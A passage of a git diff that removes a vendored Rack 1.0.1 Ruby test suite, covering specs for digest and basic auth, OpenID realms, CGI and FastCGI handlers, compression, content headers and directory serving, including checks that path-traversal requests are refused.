options.include? :input - - response = request(method, path, request_options) - - return response unless response.status == 401 - - if wait = options.delete(:wait) - sleep wait - end - - challenge = response['WWW-Authenticate'].split(' ', 2).last - - params = Rack::Auth::Digest::Params.parse(challenge) - - params['username'] = username - params['nc'] = '00000001' - params['cnonce'] = 'nonsensenonce' - params['uri'] = path - - params['method'] = method - - params.update options - - params['response'] = MockDigestRequest.new(params).response(password) - - request(method, path, request_options.merge('HTTP_AUTHORIZATION' => "Digest #{params}"), &block) - end - - def assert_digest_auth_challenge(response) - response.should.be.a.client_error - response.status.should.equal 401 - response.should.include 'WWW-Authenticate' - response.headers['WWW-Authenticate'].should =~ /^Digest / - response.body.should.be.empty - end - - def assert_bad_request(response) - response.should.be.a.client_error - response.status.should.equal 400 - response.should.not.include 'WWW-Authenticate' - end - - specify 'should challenge when no credentials are specified' do - request 'GET', '/' do |response| - assert_digest_auth_challenge response - end - end - - specify 'should return application output if correct credentials given' do - request_with_digest_auth 'GET', '/', 'Alice', 'correct-password' do |response| - response.status.should.equal 200 - response.body.to_s.should.equal 'Hi Alice' - end - end - - specify 'should return application output if correct credentials given (hashed passwords)' do - @request = Rack::MockRequest.new(protected_app_with_hashed_passwords) - - request_with_digest_auth 'GET', '/', 'Alice', 'correct-password' do |response| - response.status.should.equal 200 - response.body.to_s.should.equal 'Hi Alice' - end - end - - specify 'should rechallenge if incorrect username given' do - request_with_digest_auth 'GET', '/', 'Bob', 'correct-password' do |response| - assert_digest_auth_challenge response - end - end - - specify 'should rechallenge if incorrect password given' do - request_with_digest_auth 'GET', '/', 'Alice', 'wrong-password' do |response| - assert_digest_auth_challenge response - end - end - - specify 'should rechallenge with stale parameter if nonce is stale' do - begin - Rack::Auth::Digest::Nonce.time_limit = 1 - - request_with_digest_auth 'GET', '/', 'Alice', 'correct-password', :wait => 2 do |response| - assert_digest_auth_challenge response - response.headers['WWW-Authenticate'].should =~ /\bstale=true\b/ - end - ensure - Rack::Auth::Digest::Nonce.time_limit = nil - end - end - - specify 'should return 400 Bad Request if incorrect qop given' do - request_with_digest_auth 'GET', '/', 'Alice', 'correct-password', 'qop' => 'auth-int' do |response| - assert_bad_request response - end - end - - specify 'should return 400 Bad Request if incorrect uri given' do - request_with_digest_auth 'GET', '/', 'Alice', 'correct-password', 'uri' => '/foo' do |response| - assert_bad_request response - end - end - - specify 'should return 400 Bad Request if different auth scheme used' do - request 'GET', '/', 'HTTP_AUTHORIZATION' => 'Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==' do |response| - assert_bad_request response - end - end - - specify 'should not require credentials for unprotected path' do - @request = Rack::MockRequest.new(partially_protected_app) - request 'GET', '/' do |response| - response.should.be.ok - end - end - - specify 'should challenge when no credentials are specified for protected path' do - @request = Rack::MockRequest.new(partially_protected_app) - request 'GET', '/protected' do |response| - assert_digest_auth_challenge response - end - end - - specify 'should return application output if correct credentials given for protected path' do - @request = Rack::MockRequest.new(partially_protected_app) - request_with_digest_auth 'GET', '/protected', 'Alice', 'correct-password' do |response| - response.status.should.equal 200 - response.body.to_s.should.equal 'Hi Alice' - end - end - - specify 'should return application output if correct credentials given for POST' do - request_with_digest_auth 'POST', '/', 'Alice', 'correct-password' do |response| - response.status.should.equal 200 - response.body.to_s.should.equal 'Hi Alice' - end - end - - specify 'should return application output if correct credentials given for PUT (using method override of POST)' do - @request = Rack::MockRequest.new(protected_app_with_method_override) - request_with_digest_auth 'POST', '/', 'Alice', 'correct-password', :input => "_method=put" do |response| - response.status.should.equal 200 - response.body.to_s.should.equal 'Hi Alice' - end - end - - specify 'realm as optional constructor arg' do - app = Rack::Auth::Digest::MD5.new(unprotected_app, realm) { true } - assert_equal realm, app.realm - end -end diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_auth_openid.rb b/vendor/gems/rack-1.0.1/test/spec_rack_auth_openid.rb deleted file mode 100644 index ba248445..00000000 --- a/vendor/gems/rack-1.0.1/test/spec_rack_auth_openid.rb +++ /dev/null @@ -1,84 +0,0 @@ -require 'test/spec' - -begin -# requires the ruby-openid gem -require 'rack/auth/openid' - -context "Rack::Auth::OpenID" do - OID = Rack::Auth::OpenID - host = 'host' - subd = 'sub.host' - wild = '*.host' - path = 'path' - long = 'path/long' - scheme = 'http://' - realm = scheme+host+'/'+path - - specify 'realm uri should be valid' do - lambda{OID.new('/'+path)}.should.raise ArgumentError - lambda{OID.new('/'+long)}.should.raise ArgumentError - lambda{OID.new(scheme+host)}.should.not.raise - lambda{OID.new(scheme+host+'/')}.should.not.raise - lambda{OID.new(scheme+host+'/'+path)}.should.not.raise - lambda{OID.new(scheme+subd)}.should.not.raise - lambda{OID.new(scheme+subd+'/')}.should.not.raise - lambda{OID.new(scheme+subd+'/'+path)}.should.not.raise - end - - specify 'should be able to check if a uri is within the realm' do - end - - specify 'return_to should be valid' do - uri = '/'+path - lambda{OID.new(realm, :return_to=>uri)}.should.raise ArgumentError - uri = '/'+long - lambda{OID.new(realm, :return_to=>uri)}.should.raise ArgumentError - uri = scheme+host - lambda{OID.new(realm, :return_to=>uri)}.should.raise ArgumentError - uri = scheme+host+'/'+path - lambda{OID.new(realm, :return_to=>uri)}.should.not.raise - uri = scheme+subd+'/'+path - lambda{OID.new(realm, :return_to=>uri)}.should.raise ArgumentError - uri = scheme+host+'/'+long - lambda{OID.new(realm, :return_to=>uri)}.should.not.raise - uri = scheme+subd+'/'+long - lambda{OID.new(realm, :return_to=>uri)}.should.raise ArgumentError - end - - specify 'extensions should have required constants defined' do - badext = Rack::Auth::OpenID::BadExtension - ext = Object.new - lambda{OID.new(realm).add_extension(ext)}.should.raise(badext) - ext = Module.new - lambda{OID.new(realm).add_extension(ext)}.should.raise(badext) - ext::Request = nil - lambda{OID.new(realm).add_extension(ext)}.should.raise(badext) - ext::Response = nil - lambda{OID.new(realm).add_extension(ext)}.should.raise(badext) - ext::NS_URI = nil - lambda{OID.new(realm).add_extension(ext)}.should.raise(badext) - end - - specify 'extensions should have Request and Response defined and inherit from OpenID::Extension' do - $-w, w = nil, $-w # yuck - badext = Rack::Auth::OpenID::BadExtension - ext = Module.new - ext::Request = nil - ext::Response = nil - ext::NS_URI = nil - lambda{OID.new(realm).add_extension(ext)}.should.raise(badext) - ext::Request = Class.new() - lambda{OID.new(realm).add_extension(ext)}.should.raise(badext) - ext::Response = Class.new() - lambda{OID.new(realm).add_extension(ext)}.should.raise(badext) - ext::Request = Class.new(::OpenID::Extension) - lambda{OID.new(realm).add_extension(ext)}.should.raise(badext) - ext::Response = Class.new(::OpenID::Extension) - lambda{OID.new(realm).add_extension(ext)}.should.raise(badext) - $-w = w - end -end - -rescue LoadError - $stderr.puts "Skipping Rack::Auth::OpenID tests (ruby-openid 2 is required). `gem install ruby-openid` and try again." -end diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_builder.rb b/vendor/gems/rack-1.0.1/test/spec_rack_builder.rb deleted file mode 100644 index 3fad9810..00000000 --- a/vendor/gems/rack-1.0.1/test/spec_rack_builder.rb +++ /dev/null @@ -1,84 +0,0 @@ -require 'test/spec' - -require 'rack/builder' -require 'rack/mock' -require 'rack/showexceptions' -require 'rack/auth/basic' - -context "Rack::Builder" do - specify "chains apps by default" do - app = Rack::Builder.new do - use Rack::ShowExceptions - run lambda { |env| raise "bzzzt" } - end.to_app - - Rack::MockRequest.new(app).get("/").should.be.server_error - Rack::MockRequest.new(app).get("/").should.be.server_error - Rack::MockRequest.new(app).get("/").should.be.server_error - end - - specify "has implicit #to_app" do - app = Rack::Builder.new do - use Rack::ShowExceptions - run lambda { |env| raise "bzzzt" } - end - - Rack::MockRequest.new(app).get("/").should.be.server_error - Rack::MockRequest.new(app).get("/").should.be.server_error - Rack::MockRequest.new(app).get("/").should.be.server_error - end - - specify "supports blocks on use" do - app = Rack::Builder.new do - use Rack::ShowExceptions - use Rack::Auth::Basic do |username, password| - 'secret' == password - end - - run lambda { |env| [200, {}, ['Hi Boss']] } - end - - response = Rack::MockRequest.new(app).get("/") - response.should.be.client_error - response.status.should.equal 401 - - # with auth... - response = Rack::MockRequest.new(app).get("/", - 'HTTP_AUTHORIZATION' => 'Basic ' + ["joe:secret"].pack("m*")) - response.status.should.equal 200 - response.body.to_s.should.equal 'Hi Boss' - end - - specify "has explicit #to_app" do - app = Rack::Builder.app do - use Rack::ShowExceptions - run lambda { |env| raise "bzzzt" } - end - - Rack::MockRequest.new(app).get("/").should.be.server_error - Rack::MockRequest.new(app).get("/").should.be.server_error - Rack::MockRequest.new(app).get("/").should.be.server_error - end - - specify "apps are initialized once" do - app = Rack::Builder.new do - class AppClass - def initialize - @called = 0 - end - def call(env) - raise "bzzzt" if @called > 0 - @called += 1 - [200, {'Content-Type' => 'text/plain'}, ['OK']] - end - end - - use Rack::ShowExceptions - run AppClass.new - end - - Rack::MockRequest.new(app).get("/").status.should.equal 200 - Rack::MockRequest.new(app).get("/").should.be.server_error - end - -end diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_camping.rb b/vendor/gems/rack-1.0.1/test/spec_rack_camping.rb deleted file mode 100644 index bed11710..00000000 --- a/vendor/gems/rack-1.0.1/test/spec_rack_camping.rb +++ /dev/null @@ -1,51 +0,0 @@ -require 'test/spec' -require 'stringio' -require 'uri' - -begin - require 'rack/mock' - - $-w, w = nil, $-w # yuck - require 'camping' - require 'rack/adapter/camping' - - Camping.goes :CampApp - module CampApp - module Controllers - class HW < R('/') - def get - @headers["X-Served-By"] = URI("http://rack.rubyforge.org") - "Camping works!" - end - - def post - "Data: #{input.foo}" - end - end - end - end - $-w = w - - context "Rack::Adapter::Camping" do - specify "works with GET" do - res = Rack::MockRequest.new(Rack::Adapter::Camping.new(CampApp)). - get("/") - - res.should.be.ok - res["Content-Type"].should.equal "text/html" - res["X-Served-By"].should.equal "http://rack.rubyforge.org" - - res.body.should.equal "Camping works!" - end - - specify "works with POST" do - res = Rack::MockRequest.new(Rack::Adapter::Camping.new(CampApp)). - post("/", :input => "foo=bar") - - res.should.be.ok - res.body.should.equal "Data: bar" - end - end -rescue LoadError - $stderr.puts "Skipping Rack::Adapter::Camping tests (Camping is required). `gem install camping` and try again." -end diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_cascade.rb b/vendor/gems/rack-1.0.1/test/spec_rack_cascade.rb deleted file mode 100644 index 3c0f3be3..00000000 --- a/vendor/gems/rack-1.0.1/test/spec_rack_cascade.rb +++ /dev/null @@ -1,50 +0,0 @@ -require 'test/spec' - -require 'rack/cascade' -require 'rack/mock' - -require 'rack/urlmap' -require 'rack/file' - -context "Rack::Cascade" do - docroot = File.expand_path(File.dirname(__FILE__)) - app1 = Rack::File.new(docroot) - - app2 = Rack::URLMap.new("/crash" => lambda { |env| raise "boom" }) - - app3 = Rack::URLMap.new("/foo" => lambda { |env| - [200, { "Content-Type" => "text/plain"}, [""]]}) - - specify "should dispatch onward on 404 by default" do - cascade = Rack::Cascade.new([app1, app2, app3]) - Rack::MockRequest.new(cascade).get("/cgi/test").should.be.ok - Rack::MockRequest.new(cascade).get("/foo").should.be.ok - Rack::MockRequest.new(cascade).get("/toobad").should.be.not_found - Rack::MockRequest.new(cascade).get("/cgi/../bla").should.be.forbidden - end - - specify "should dispatch onward on whatever is passed" do - cascade = Rack::Cascade.new([app1, app2, app3], [404, 403]) - Rack::MockRequest.new(cascade).get("/cgi/../bla").should.be.not_found - end - - specify "should fail if empty" do - lambda { Rack::MockRequest.new(Rack::Cascade.new([])).get("/") }. - should.raise(ArgumentError) - end - - specify "should append new app" do - cascade = Rack::Cascade.new([], [404, 403]) - lambda { Rack::MockRequest.new(cascade).get('/cgi/test') }. - should.raise(ArgumentError) - cascade << app2 - Rack::MockRequest.new(cascade).get('/cgi/test').should.be.not_found - Rack::MockRequest.new(cascade).get('/cgi/../bla').should.be.not_found - cascade << app1 - Rack::MockRequest.new(cascade).get('/cgi/test').should.be.ok - Rack::MockRequest.new(cascade).get('/cgi/../bla').should.be.forbidden - Rack::MockRequest.new(cascade).get('/foo').should.be.not_found - cascade << app3 - Rack::MockRequest.new(cascade).get('/foo').should.be.ok - end -end diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_cgi.rb b/vendor/gems/rack-1.0.1/test/spec_rack_cgi.rb deleted file mode 100644 index 818fabdf..00000000 --- a/vendor/gems/rack-1.0.1/test/spec_rack_cgi.rb +++ /dev/null @@ -1,89 +0,0 @@ -require 'test/spec' -require 'testrequest' - -context "Rack::Handler::CGI" do - include TestRequest::Helpers - - setup do - @host = '0.0.0.0' - @port = 9203 - end - - # Keep this first. - specify "startup" do - $pid = fork { - Dir.chdir(File.join(File.dirname(__FILE__), "..", "test", "cgi")) - exec "lighttpd -D -f lighttpd.conf" - } - end - - specify "should respond" do - sleep 1 - lambda { - GET("/test") - }.should.not.raise - end - - specify "should be a lighttpd" do - GET("/test") - status.should.be 200 - response["SERVER_SOFTWARE"].should =~ /lighttpd/ - response["HTTP_VERSION"].should.equal "HTTP/1.1" - response["SERVER_PROTOCOL"].should.equal "HTTP/1.1" - response["SERVER_PORT"].should.equal @port.to_s - response["SERVER_NAME"].should =~ @host - end - - specify "should have rack headers" do - GET("/test") - response["rack.version"].should.equal [1,0] - response["rack.multithread"].should.be false - response["rack.multiprocess"].should.be true - response["rack.run_once"].should.be true - end - - specify "should have CGI headers on GET" do - GET("/test") - response["REQUEST_METHOD"].should.equal "GET" - response["SCRIPT_NAME"].should.equal "/test" - response["REQUEST_PATH"].should.equal "/" - response["PATH_INFO"].should.be.nil - response["QUERY_STRING"].should.equal "" - response["test.postdata"].should.equal "" - - GET("/test/foo?quux=1") - response["REQUEST_METHOD"].should.equal "GET" - response["SCRIPT_NAME"].should.equal "/test" - response["REQUEST_PATH"].should.equal "/" - response["PATH_INFO"].should.equal "/foo" - response["QUERY_STRING"].should.equal "quux=1" - end - - specify "should have CGI headers on POST" do - POST("/test", {"rack-form-data" => "23"}, {'X-test-header' => '42'}) - status.should.equal 200 - response["REQUEST_METHOD"].should.equal "POST" - response["SCRIPT_NAME"].should.equal "/test" - response["REQUEST_PATH"].should.equal "/" - response["QUERY_STRING"].should.equal "" - response["HTTP_X_TEST_HEADER"].should.equal "42" - response["test.postdata"].should.equal "rack-form-data=23" - end - - specify "should support HTTP auth" do - GET("/test", {:user => "ruth", :passwd => "secret"}) - response["HTTP_AUTHORIZATION"].should.equal "Basic cnV0aDpzZWNyZXQ=" - end - - specify "should set status" do - GET("/test?secret") - status.should.equal 403 - response["rack.url_scheme"].should.equal "http" - end - - # Keep this last. - specify "shutdown" do - Process.kill 15, $pid - Process.wait($pid).should.equal $pid - end -end diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_chunked.rb b/vendor/gems/rack-1.0.1/test/spec_rack_chunked.rb deleted file mode 100644 index 39eea482..00000000 --- a/vendor/gems/rack-1.0.1/test/spec_rack_chunked.rb +++ /dev/null @@ -1,62 +0,0 @@ -require 'rack/mock' -require 'rack/chunked' -require 'rack/utils' - -context "Rack::Chunked" do - - before do - @env = Rack::MockRequest. - env_for('/', 'HTTP_VERSION' => '1.1', 'REQUEST_METHOD' => 'GET') - end - - specify 'chunks responses with no Content-Length' do - app = lambda { |env| [200, {}, ['Hello', ' ', 'World!']] } - response = Rack::MockResponse.new(*Rack::Chunked.new(app).call(@env)) - response.headers.should.not.include 'Content-Length' - response.headers['Transfer-Encoding'].should.equal 'chunked' - response.body.should.equal "5\r\nHello\r\n1\r\n \r\n6\r\nWorld!\r\n0\r\n\r\n" - end - - specify 'chunks empty bodies properly' do - app = lambda { |env| [200, {}, []] } - response = Rack::MockResponse.new(*Rack::Chunked.new(app).call(@env)) - response.headers.should.not.include 'Content-Length' - response.headers['Transfer-Encoding'].should.equal 'chunked' - response.body.should.equal "0\r\n\r\n" - end - - specify 'does not modify response when Content-Length header present' do - app = lambda { |env| [200, {'Content-Length'=>'12'}, ['Hello', ' ', 'World!']] } - status, headers, body = Rack::Chunked.new(app).call(@env) - status.should.equal 200 - headers.should.not.include 'Transfer-Encoding' - headers.should.include 'Content-Length' - body.join.should.equal 'Hello World!' - end - - specify 'does not modify response when client is HTTP/1.0' do - app = lambda { |env| [200, {}, ['Hello', ' ', 'World!']] } - @env['HTTP_VERSION'] = 'HTTP/1.0' - status, headers, body = Rack::Chunked.new(app).call(@env) - status.should.equal 200 - headers.should.not.include 'Transfer-Encoding' - body.join.should.equal 'Hello World!' - end - - specify 'does not modify response when Transfer-Encoding header already present' do - app = lambda { |env| [200, {'Transfer-Encoding' => 'identity'}, ['Hello', ' ', 'World!']] } - status, headers, body = Rack::Chunked.new(app).call(@env) - status.should.equal 200 - headers['Transfer-Encoding'].should.equal 'identity' - body.join.should.equal 'Hello World!' - end - - [100, 204, 304].each do |status_code| - specify "does not modify response when status code is #{status_code}" do - app = lambda { |env| [status_code, {}, []] } - status, headers, body = Rack::Chunked.new(app).call(@env) - status.should.equal status_code - headers.should.not.include 'Transfer-Encoding' - end - end -end diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_commonlogger.rb b/vendor/gems/rack-1.0.1/test/spec_rack_commonlogger.rb deleted file mode 100644 index ba03b78a..00000000 --- a/vendor/gems/rack-1.0.1/test/spec_rack_commonlogger.rb +++ /dev/null @@ -1,32 +0,0 @@ -require 'test/spec' -require 'stringio' - -require 'rack/commonlogger' -require 'rack/lobster' -require 'rack/mock' - -context "Rack::CommonLogger" do - app = lambda { |env| - [200, - {"Content-Type" => "text/html"}, - ["foo"]]} - - specify "should log to rack.errors by default" do - log = StringIO.new - res = Rack::MockRequest.new(Rack::CommonLogger.new(app)).get("/") - - res.errors.should.not.be.empty - res.errors.should =~ /GET / - res.errors.should =~ / 200 / # status - res.errors.should =~ / 3 / # length - end - - specify "should log to anything with <<" do - log = "" - res = Rack::MockRequest.new(Rack::CommonLogger.new(app, log)).get("/") - - log.should =~ /GET / - log.should =~ / 200 / # status - log.should =~ / 3 / # length - end -end diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_conditionalget.rb b/vendor/gems/rack-1.0.1/test/spec_rack_conditionalget.rb deleted file mode 100644 index ca34cc92..00000000 --- a/vendor/gems/rack-1.0.1/test/spec_rack_conditionalget.rb +++ /dev/null @@ -1,41 +0,0 @@ -require 'test/spec' -require 'time' - -require 'rack/mock' -require 'rack/conditionalget' - -context "Rack::ConditionalGet" do - specify "should set a 304 status and truncate body when If-Modified-Since hits" do - timestamp = Time.now.httpdate - app = Rack::ConditionalGet.new(lambda { |env| - [200, {'Last-Modified'=>timestamp}, ['TEST']] }) - - response = Rack::MockRequest.new(app). - get("/", 'HTTP_IF_MODIFIED_SINCE' => timestamp) - - response.status.should.equal 304 - response.body.should.be.empty - end - - specify "should set a 304 status and truncate body when If-None-Match hits" do - app = Rack::ConditionalGet.new(lambda { |env| - [200, {'Etag'=>'1234'}, ['TEST']] }) - - response = Rack::MockRequest.new(app). - get("/", 'HTTP_IF_NONE_MATCH' => '1234') - - response.status.should.equal 304 - response.body.should.be.empty - end - - specify "should not affect non-GET/HEAD requests" do - app = Rack::ConditionalGet.new(lambda { |env| - [200, {'Etag'=>'1234'}, ['TEST']] }) - - response = Rack::MockRequest.new(app). - post("/", 'HTTP_IF_NONE_MATCH' => '1234') - - response.status.should.equal 200 - response.body.should.equal 'TEST' - end -end diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_content_length.rb b/vendor/gems/rack-1.0.1/test/spec_rack_content_length.rb deleted file mode 100644 index 7db9345f..00000000 --- a/vendor/gems/rack-1.0.1/test/spec_rack_content_length.rb +++ /dev/null @@ -1,43 +0,0 @@ -require 'rack/mock' -require 'rack/content_length' - -context "Rack::ContentLength" do - specify "sets Content-Length on String bodies if none is set" do - app = lambda { |env| [200, {'Content-Type' => 'text/plain'}, "Hello, World!"] } - response = Rack::ContentLength.new(app).call({}) - response[1]['Content-Length'].should.equal '13' - end - - specify "sets Content-Length on Array bodies if none is set" do - app = lambda { |env| [200, {'Content-Type' => 'text/plain'}, ["Hello, World!"]] } - response = Rack::ContentLength.new(app).call({}) - response[1]['Content-Length'].should.equal '13' - end - - specify "does not set Content-Length on variable length bodies" do - body = lambda { "Hello World!" } - def body.each ; yield call ; end - - app = lambda { |env| [200, {'Content-Type' => 'text/plain'}, body] } - response = Rack::ContentLength.new(app).call({}) - response[1]['Content-Length'].should.be.nil - end - - specify "does not change Content-Length if it is already set" do - app = lambda { |env| [200, {'Content-Type' => 'text/plain', 'Content-Length' => '1'}, "Hello, World!"] } - response = Rack::ContentLength.new(app).call({}) - response[1]['Content-Length'].should.equal '1' - end - - specify "does not set Content-Length on 304 responses" do - app = lambda { |env| [304, {'Content-Type' => 'text/plain'}, []] } - response = Rack::ContentLength.new(app).call({}) - response[1]['Content-Length'].should.equal nil - end - - specify "does not set Content-Length when Transfer-Encoding is chunked" do - app = lambda { |env| [200, {'Transfer-Encoding' => 'chunked'}, []] } - response = Rack::ContentLength.new(app).call({}) - response[1]['Content-Length'].should.equal nil - end -end diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_content_type.rb b/vendor/gems/rack-1.0.1/test/spec_rack_content_type.rb deleted file mode 100644 index 9975b94d..00000000 --- a/vendor/gems/rack-1.0.1/test/spec_rack_content_type.rb +++ /dev/null @@ -1,30 +0,0 @@ -require 'rack/mock' -require 'rack/content_type' - -context "Rack::ContentType" do - specify "sets Content-Type to default text/html if none is set" do - app = lambda { |env| [200, {}, "Hello, World!"] } - status, headers, body = Rack::ContentType.new(app).call({}) - headers['Content-Type'].should.equal 'text/html' - end - - specify "sets Content-Type to chosen default if none is set" do - app = lambda { |env| [200, {}, "Hello, World!"] } - status, headers, body = - Rack::ContentType.new(app, 'application/octet-stream').call({}) - headers['Content-Type'].should.equal 'application/octet-stream' - end - - specify "does not change Content-Type if it is already set" do - app = lambda { |env| [200, {'Content-Type' => 'foo/bar'}, "Hello, World!"] } - status, headers, body = Rack::ContentType.new(app).call({}) - headers['Content-Type'].should.equal 'foo/bar' - end - - specify "case insensitive detection of Content-Type" do - app = lambda { |env| [200, {'CONTENT-Type' => 'foo/bar'}, "Hello, World!"] } - status, headers, body = Rack::ContentType.new(app).call({}) - headers.to_a.select { |k,v| k.downcase == "content-type" }. - should.equal [["CONTENT-Type","foo/bar"]] - end -end diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_deflater.rb b/vendor/gems/rack-1.0.1/test/spec_rack_deflater.rb deleted file mode 100644 index c9bb3189..00000000 --- a/vendor/gems/rack-1.0.1/test/spec_rack_deflater.rb +++ /dev/null @@ -1,127 +0,0 @@ -require 'test/spec' - -require 'rack/mock' -require 'rack/deflater' -require 'stringio' -require 'time' # for Time#httpdate - -context "Rack::Deflater" do - def build_response(status, body, accept_encoding, headers = {}) - body = [body] if body.respond_to? :to_str - app = lambda { |env| [status, {}, body] } - request = Rack::MockRequest.env_for("", headers.merge("HTTP_ACCEPT_ENCODING" => accept_encoding)) - response = Rack::Deflater.new(app).call(request) - - return response - end - - specify "should be able to deflate bodies that respond to each" do - body = Object.new - class << body; def each; yield("foo"); yield("bar"); end; end - - response = build_response(200, body, "deflate") - - response[0].should.equal(200) - response[1].should.equal({ - "Content-Encoding" => "deflate", - "Vary" => "Accept-Encoding" - }) - buf = '' - response[2].each { |part| buf << part } - buf.should.equal("K\313\317OJ,\002\000") - end - - # TODO: This is really just a special case of the above... - specify "should be able to deflate String bodies" do - response = build_response(200, "Hello world!", "deflate") - - response[0].should.equal(200) - response[1].should.equal({ - "Content-Encoding" => "deflate", - "Vary" => "Accept-Encoding" - }) - buf = '' - response[2].each { |part| buf << part } - buf.should.equal("\363H\315\311\311W(\317/\312IQ\004\000") - end - - specify "should be able to gzip bodies that respond to each" do - body = Object.new - class << body; def each; yield("foo"); yield("bar"); end; end - - response = build_response(200, body, "gzip") - - response[0].should.equal(200) - response[1].should.equal({ - "Content-Encoding" => "gzip", - "Vary" => "Accept-Encoding", - }) - - buf = '' - response[2].each { |part| buf << part } - io = StringIO.new(buf) - gz = Zlib::GzipReader.new(io) - gz.read.should.equal("foobar") - gz.close - end - - specify "should be able to fallback to no deflation" do - response = build_response(200, "Hello world!", "superzip") - - response[0].should.equal(200) - response[1].should.equal({ "Vary" => "Accept-Encoding" }) - response[2].should.equal(["Hello world!"]) - end - - specify "should be able to skip when there is no response entity body" do - response = build_response(304, [], "gzip") - - response[0].should.equal(304) - response[1].should.equal({}) - response[2].should.equal([]) - end - - specify "should handle the lack of an acceptable encoding" do - response1 = build_response(200, "Hello world!", "identity;q=0", "PATH_INFO" => "/") - response1[0].should.equal(406) - response1[1].should.equal({"Content-Type" => "text/plain", "Content-Length" => "71"}) - response1[2].should.equal(["An acceptable encoding for the requested resource / could not be found."]) - - response2 = build_response(200, "Hello world!", "identity;q=0", "SCRIPT_NAME" => "/foo", "PATH_INFO" => "/bar") - response2[0].should.equal(406) - response2[1].should.equal({"Content-Type" => "text/plain", "Content-Length" => "78"}) - response2[2].should.equal(["An acceptable encoding for the requested resource /foo/bar could not be found."]) - end - - specify "should handle gzip response with Last-Modified header" do - last_modified = Time.now.httpdate - - app = lambda { |env| [200, { "Last-Modified" => last_modified }, ["Hello World!"]] } - request = Rack::MockRequest.env_for("", "HTTP_ACCEPT_ENCODING" => "gzip") - response = Rack::Deflater.new(app).call(request) - - response[0].should.equal(200) - response[1].should.equal({ - "Content-Encoding" => "gzip", - "Vary" => "Accept-Encoding", - "Last-Modified" => last_modified - }) - - buf = '' - response[2].each { |part| buf << part } - io = StringIO.new(buf) - gz = Zlib::GzipReader.new(io) - gz.read.should.equal("Hello World!") - gz.close - end - - specify "should do nothing when no-transform Cache-Control directive present" do - app = lambda { |env| [200, {'Cache-Control' => 'no-transform'}, ['Hello World!']] } - request = Rack::MockRequest.env_for("", "HTTP_ACCEPT_ENCODING" => "gzip") - response = Rack::Deflater.new(app).call(request) - - response[0].should.equal(200) - response[1].should.not.include "Content-Encoding" - response[2].join.should.equal("Hello World!") - end -end diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_directory.rb b/vendor/gems/rack-1.0.1/test/spec_rack_directory.rb deleted file mode 100644 index 540c728d..00000000 --- a/vendor/gems/rack-1.0.1/test/spec_rack_directory.rb +++ /dev/null @@ -1,61 +0,0 @@ -require 'test/spec' - -require 'rack/directory' -require 'rack/lint' - -require 'rack/mock' - -context "Rack::Directory" do - DOCROOT = File.expand_path(File.dirname(__FILE__)) - FILE_CATCH = proc{|env| [200, {'Content-Type'=>'text/plain', "Content-Length" => "7"}, ['passed!']] } - app = Rack::Directory.new DOCROOT, FILE_CATCH - - specify "serves directory indices" do - res = Rack::MockRequest.new(Rack::Lint.new(app)). - get("/cgi/") - - res.should.be.ok - res.should =~ // - end - - specify "passes to app if file found" do - res = Rack::MockRequest.new(Rack::Lint.new(app)). - get("/cgi/test") - - res.should.be.ok - res.should =~ /passed!/ - end - - specify "serves uri with URL encoded filenames" do - res = Rack::MockRequest.new(Rack::Lint.new(app)). - get("/%63%67%69/") # "/cgi/test" - - res.should.be.ok - res.should =~ // - - res = Rack::MockRequest.new(Rack::Lint.new(app)). - get("/cgi/%74%65%73%74") # "/cgi/test" - - res.should.be.ok - res.should =~ /passed!/ - end - - specify "does not allow directory traversal" do - res = Rack::MockRequest.new(Rack::Lint.new(app)). - get("/cgi/../test") - - res.should.be.forbidden - - res = Rack::MockRequest.new(Rack::Lint.new(app)). - get("/cgi/%2E%2E/test") - - res.should.be.forbidden - end - - specify "404s if it can't find the file" do - res = Rack::MockRequest.new(Rack::Lint.new(app)). - get("/cgi/blubb") - - res.should.be.not_found - end -end diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_fastcgi.rb b/vendor/gems/rack-1.0.1/test/spec_rack_fastcgi.rb deleted file mode 100644 index 69478de5..00000000 --- a/vendor/gems/rack-1.0.1/test/spec_rack_fastcgi.rb +++ /dev/null @@ -1,89 +0,0 @@ -require 'test/spec' -require 'testrequest' - -context "Rack::Handler::FastCGI" do - include TestRequest::Helpers - - setup do - @host = '0.0.0.0' - @port = 9203 - end - - # Keep this first. - specify "startup" do - $pid = fork { - Dir.chdir(File.join(File.dirname(__FILE__), "..", "test", "cgi")) - exec "lighttpd -D -f lighttpd.conf" - } - end - - specify "should respond" do - sleep 1 - lambda { - GET("/test.fcgi") - }.should.not.raise - end - - specify "should be a lighttpd" do - GET("/test.fcgi") - status.should.be 200 - response["SERVER_SOFTWARE"].should =~ /lighttpd/ - response["HTTP_VERSION"].should.equal "HTTP/1.1" - response["SERVER_PROTOCOL"].should.equal "HTTP/1.1" - response["SERVER_PORT"].should.equal @port.to_s - response["SERVER_NAME"].should =~ @host - end - - specify "should have rack headers" do - GET("/test.fcgi") - response["rack.version"].should.equal [1,0] - response["rack.multithread"].should.be false - response["rack.multiprocess"].should.be true - response["rack.run_once"].should.be false - end - - specify "should have CGI headers on GET" do - GET("/test.fcgi") - response["REQUEST_METHOD"].should.equal "GET" - response["SCRIPT_NAME"].should.equal "/test.fcgi" - response["REQUEST_PATH"].should.equal "/" - response["PATH_INFO"].should.be.nil - response["QUERY_STRING"].should.equal "" - response["test.postdata"].should.equal "" - - GET("/test.fcgi/foo?quux=1") - response["REQUEST_METHOD"].should.equal "GET" - response["SCRIPT_NAME"].should.equal "/test.fcgi" - response["REQUEST_PATH"].should.equal "/" - response["PATH_INFO"].should.equal "/foo" - response["QUERY_STRING"].should.equal "quux=1" - end - - specify "should have CGI headers on POST" do - POST("/test.fcgi", {"rack-form-data" => "23"}, {'X-test-header' => '42'}) - status.should.equal 200 - response["REQUEST_METHOD"].should.equal "POST" - response["SCRIPT_NAME"].should.equal "/test.fcgi" - response["REQUEST_PATH"].should.equal "/" - response["QUERY_STRING"].should.equal "" - 